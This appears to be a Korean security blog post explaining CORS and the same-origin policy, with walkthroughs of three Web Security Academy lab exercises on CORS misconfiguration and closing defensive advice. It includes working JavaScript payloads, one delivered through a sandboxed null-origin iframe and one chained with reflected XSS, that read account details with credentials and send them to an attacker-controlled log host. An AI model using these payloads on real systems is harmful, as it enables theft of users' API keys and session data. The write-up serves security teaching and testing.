교차 출처 리소스 공유(CORS) 취약점

개요

서로 다른 두 개의 웹 어플리케이션이 제한 없이 상호작용할 수 있는 환경은 보안상 안전하지 않다 판단되어 등장한 것이 CORS와 SOP입니다.

 

우선 CORS의 주요 목적은 APi환경에서 주로 사용되는데 브라우저 <-> 서버 서로 간에 안전한 요청 및 전송을 하여 다양한 곳에서 가져오는 리소스가 최소한 안전한 데이터라는 것을 보장받기 위함입니다. SOP(Same Origin Policy)는 cors와 다르게 동일한 출처에서만 리소스를 공유한다는 것을 의미하는데 이는 너무 제한적이라 서비스 차원에서 너무 제한적이라 cors가 등장한 것입니다.

하지만 사용자들의 편의를 위해 생겨난 CORS 정책에 대해 너무 유연하게 설정을 하게 된 경우 웹 어플리케이션의 정상적인 흐름을 악용하여 타 사용자의 개인정보를 훔치거나 침해를 일으킬 가능성이 존재합니다.

 

제3의 도메인을 허용하고 있는지 확인하기 위해선 요청 패킷의 헤더를 분석해볼 필요가 있습니다.

GET / HTTP/1.1
Host: www.example.com
Origin: Accept Domain

Origin 헤더에 허용하는 도메인이 적힌 상태로 요청이 넘어가게 되면 응답 서버에서는

HTTP/1.1 200 OK
Access-Control-Allow-Origin: Accept Domain OR *(All allow)
Access-Control-Allow-Credentials: true

와 함께 요청된 제3의 도메인이 허용되어 있는 것을 확인할 수 있습니다. 이렇게 될 경우 해당 Accept Domain에 부여된 주소에서 대상 웹 어플리케이션의 콘텐츠에 액세스가 가능하다는 것을 의미합니다.

 

무분별한 제3의 도메인의 액세스를 과도하게 허용할 경우 발생 가능한 문제들은

- CSRF(Cross Site Request Forgery)
- XSS(Cross Site Scripting)
- Sensitive Data Exposure
 등

만약 악의적인 사용자가 대상 페이지의 로직을 분석하여 클라이언트 측의 행위를 변조시킬 수 있는 스크립트를 메일로 요청하게 되면 사용자는 해당 메일을 열람 시 공격자가 지정해둔 스크립트 로직이 어느 페이지에 있건 흐름대로 실행이 되어버릴 가능성이 존재합니다.

 

위 방법 외에도 대상 서버에 악성 스크립트가 삽입된 파일을 업로드하거나, 자신의 악성 웹 서버를 로드하도록 하여 반사된 로그에 의해 주요 정보를 탈취할 가능성도 배제할 수 없습니다.

 

만약 대상 서버와 상호작용할 수 있는 전제조건이 제한적이라면 이메일을 열람해도 서로 다른 출처라 판단하기 때문에 요청을 사전에 막았을 테고 악성 행위 자체를 지정된 도메인 한해서만 작동하도록 되어 타 사용자들의 데이터를 침해하기 힘들어졌을 겁니다.

 

요청 방식

1. 기본 요청(simple request)
GET, HEAD, POST를 사용하고 POST 요청 시 -> Origin헤더를 포함

다른 출처의 리소스 요청(HTTP) -> 요청 헤더에 Origin이라는 자신의 출처 주소와 사용할 메소드를 함께 요청 -> 서버가 요청을 받으면 "Access-Control-Allow-Origin"에 접근이 허용된 출처를 표시해서 응답 -> 응답을 받은 브라우저는 자신이 보냈던 Origin과 Access-Control-Allow-Origin을 비교하여 자신의 origin에서 요청할 수 있다면 전송을 하고 불가능하다면 에러를 발생

2. 예비 요청(preflight)
PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH 방식을 사용할 경우
어떻게? -> XMLHttpRequest 또는 FetchAPI를 통해 호출

 

요청 시 한 번에 보내지 않고 안전한지 사전에 확인하기 위해 예비 요청이라 불리는 Preflight를 보내는데. 이안에는 서버가 허용 여부를 결정하기 위한 OPTIONS 메소드가 사용됩니다.

 

예비 요청을 서버가 받으면 현재 어떤 것들 허용하고 금지하고 있는지의 정보를 응답에 담아서 다시 보내준다. 그 후 요청과 응답을 비교하여 최종적으로 본 데이터를 보내게 됩니다.

*만약 WAF단에서 OPTIONS를 차단하고 있다면 달라짐

 

만약 Preflight 방식에서 요청에 대한 정책위반 에러가 나타나지 않고 HTTP 200으로 돌아왔으니 된 것 아니냐고 판단하는 경우가 있지만 잘못된 생각이다. CORS 정책 위반으로 인한 에러는!= 예비 요청의 성공 여부와 상관이 없이 결과 값을 보여주느냐 안 보여주느냐 가 중요한 것입니다.

 

응답 헤더에 노출된 Access-Control-Allow-Origin 값이 " * "이외에 Origin:에 임의 주소가 응답 값으로 동일하게 존재한다면 허용된 것으로 판단하면 됩니다. 즉 요청이 실패하여 HTTP 200이 아닌 다른 응답 코드를 받더라도 Access-Control-Allow-Origin에 값이 제대로 들어가 있다면 정책 위반이 아닙니다.

 

위와 같이 2가지 방식을 사용하여 CORS요청을 할 수 있습니다. 보통 기본 요청인 Simple Request 방식을 사용하고 있습니다.

 

CORS Misconfiguration(Basic)

안전하지 않은 CORS 정책으로 인해 타 사용자들 또는 관리자의 데이터를 노출될 수 있다는 것을 테스트해보도록 하겠습니다.

Burp Suite의 프록시를 활성화해두신 상태에서 wiener라는 일반 사용자의 계정을 통해 로그인을 진행합니다.

 

로그인을 수행하고 나면 History 탭에 요청과 응답 간에 주고받은 데이터중. 사용자의 ID와 Password를 입력하면 서버 측에서 그에 따른 apikey 값을 할당해주고 있습니다.

 

해당 패킷을 Reapeter로 잡아서 Origin 헤더를 추가 후 임의 도메인 주소를 입력하여 제3의 도메인이 액세스가 가능한지 확인해보면

Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

 

위 2개의 헤더를 응답에 붙여줌으로써 https://example.com 도메인이 리소스를 공유할 수 있도록 허용한다는 것을 의미합니다.  

 

<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','https://ac3d1f591eaf55da80fe0790005a0018.web-security-academy.net/accountDetails',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='/log?key='+this.responseText;
   };
</script>

XMLHttpRequest를 통해 cors(교차 출처)를 요청을 하게 되는데 여기서 CORS 헤더에 허용하고자 하는 도메인이 지정되어 있어야 합니다. XHR은 서버와 상호작용 하기 위해 사용되는 객체로 XML 이외에 모든 데이터를 받아올 수 있습니다.

 

위와 같은 자바스크립트를 작성하여 대상 웹 어플리케이션의 Form이나 공격자의 서버에 저장해 두고 타 사용자들이 스크립트가 삽입된 페이지로 접근하도록 대기합니다.

 

만약 로그인을 수행한 관리자가 해당 스크립트를 확인하게 될 경우 req.open에 지정된 주소를 자동 로드하게 되어 키 값이나 세션 값이 자연스럽게 공격자 서버의 로그단에 기록되게 됩니다.

 

CORS Misconfiguration(Trust null)

교차 출처 리소스 접근을 어느 정도 제한하기 위해 신뢰할 수 있는 도메인만 지정하는 경우가 다수 존재하지만 Origin 헤더에 어떤 값들이 들어갈 수 있는지 정확히 확인해볼 필요가 있습니다.

전과 마찬가지로 Origin 헤더에 임의 제3 도메인을 입력하여 요청을 보내보면 응답 헤더에 해당 도메인의 액세스가 허용되지 않았다는 것을 확인할 수 있습니다.

 

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

위의 정보를 통해 Origin 헤더에는 허용되는 제3의 도메인 정보 이외에 "null" 값을 입력받을 수 있으므로 화이트리스트 기반의 도메인 정책 관리만으로는 안전하게 운영할 수 없습니다.

 

Origin: null을 부여해주면 응답 값에 허용된 요청으로 처리해줍니다.

 

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
   var req = new XMLHttpRequest ();
   req.onload = reqListener;
   req.open('get','https://ac8c1f541ee0916580ec22e1004900a7.web-security-academy.net/accountDetails',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='https://acfe1f301e3c91e2800e22260167001e.web-security-academy.net/log?key='+encodeURIComponent(this.responseText);
   };
</script>"></iframe>

해당 스크립트를 삽입하여 사용자들이 열람을 할 때까지 기다려주거나 별도의 공격자 서버에 구축하여 접근하도록 요청을 합니다.

 

CORS Misconfiguration(Whitelist+XSS)

모든 도메인 또는 Origin에 부여된 null 속성을 모두 차단할 경우 대부분의 보안설정은 완료된 것으로 판단됩니다. 하지만 허용하고 있는 하위 도메인 중 타 취약점이 발견될 경우 2가지 취약점을 악용하여 타 사용자에게 침해가 가능합니다.

현재 임의 도메인과 "null" 속성 모두 차단을 하여 응답 값에 공격자가 하고자 하는 추가 악성 행위가 불가능합니다.

 

페이지 로직을 분석하다 보면 콘텐츠에 대한 액세스를 하위 도메인과 상호작용하여 서비스를 제공하는 경우가 존재합니다.

 

페이지 로직에 노출된 하위 도메인을 Origin 헤더에 부여해보니 허용된 것으로 보아 액세스가 가능한 것으로 확인됩니다.

 

하위 도메인으로 접근하여 해당 변수에 타 취약점이 존재하는지 확인해보기 위해 XSS 스크립트 코드를 삽입해 본 결과 지정해둔 스크립트가 실행되는 것을 확인할 수 있습니다.

 

<script>
   document.location="http://stock.ac911f391efc913180b0238e00d90092.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener;
   req.open('get','https://ac911f391efc913180b0238e00d90092.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener()
   {location='https://ac301f981e74918380712332014b006f.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

취약 매개변수에 삽입된 스크립트가 있는 곳을 기점으로 해서 공격자가 원하는 엔드포인트 영역으로 사용자들이 접근할 수 있도록 하고 요청 값은 공격자의 서버로 전송되도록 할 경우 설정된 화이트 리스트 기반의 도메인 정책과 null 값 모두 우회할 수 있습니다.

 

관리자가 해당 스크립트를 열람하게 될 경우 관리자의 자신의 권한을 정상적인 서버에 요청한다고 생각하지만 지정된 스크립트 흐름으로 인해 정보는 공격자의 서버에 찍히게 됩니다.

 

CORS Test 2가지

첫 번째 방법(1)

# curl TEST_Domain -H "Origin: Accept_Domain" -I

프록시 도구를 통해 찍어봐도 알 수 있지만 간단하게 curl을 사용해 콘솔에서 확인이 가능합니다.

 

두 번째 방법(2)

github.com/chenjj/CORScanner

chenjj/CORScanner

상단의 링크를 통해 자동화 스캔이 가능합니다. 기본적으로 제한하고 있는 정책들의 우회를 지원하며 텍스트 파일에 담긴 여러 도메인을 기준으로 테스트가 가능하기에 하위 도메인까지 모두 진단하고자 한다면 유용히 사용 가능할 것으로 보입니다.

 

만약 취약한 CORS 정책이 확인될 경우 로그 형태의 콘솔을 모두 출력하여 보여줍니다. 그 후에는 이제 프록시 도구를 사용해서 수동으로 검증해보거나 엔드포인트에 노출된 민감정보를 활용하여 시나리오를 작성할 수 있겠습니다.

 

번외로 Chrome 브라우저를 통해 CORS를 테스중에 개발자 도구의 Console 단에 에러가 발생한는 경우가 존재합니다.

Access to XMLHttpRequest at 'https://example.com/file=.js' from origin 'http://127.0.0.1:8887' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

상단에서 같은 에러 문구를 마주칠 수 있다. 이러한 문제는 브라우저 기반의 보안 방식인 SOP 즉 동일 출처 정책을 위반했기 때문에 발생한 것으로 신뢰할 수 있는 경로가 아닌 file=C:\W 등을 차단합니다.

또한 개발자 도구에서 Network -> Header 쪽 영역이 요청헤더를 확인해보면 브라우저가 로컬 파일에 접근하지 못하도록 하기 위해 기존에 불러론 로컬 경로 -> null처리 하고 있어 안되는 경우가 존재합니다.

 

이럴때는 Chrome의 확장도구인 "Allow CORS: Access-Control-Allow-Origin" 를 설치해보시거나 크롬이 설치된 경로로 이동하여 바로가기의 '속성 > 바로가기 > 대상 .exe 옆공간에 --disable-web-security 를 추가 해보시길 바랍니다.

 

안전한 CORS 정책 사용

Access-Control-Allow-Origin 헤더에 "null"과 " * " 모두를 허용하는 것이 아닌 적절한 도메인의 출처를 작성해 명시된 도메인에서만 접근이 가능하도록 해야 됩니다. 즉 허용하고자 하는 제3의 도메인을 정확하게 명시하여 관리하지 않거나 존재하지 않는 임의 도메인으로부터 액세스를 차단해야 됩니다.

화이트 리스트 기반의 도메인을 명시하기 위해

(1) 웹 서버 설정 파일에 추가

(2) 백엔드 프레임워크에 CORS관련 설정을 해주시면 됩니다.

마지막으로 화이트리스트 기반으로 안전한 정책을 이미 사용 중이라면 해당 제3의 도메인들에 대해서도 다른 취약점에 노출되지 않도록 보안 수준을 올려 허용된 도메인을 통한 악성 행위가 불가능하도록 해주셔야 됩니다.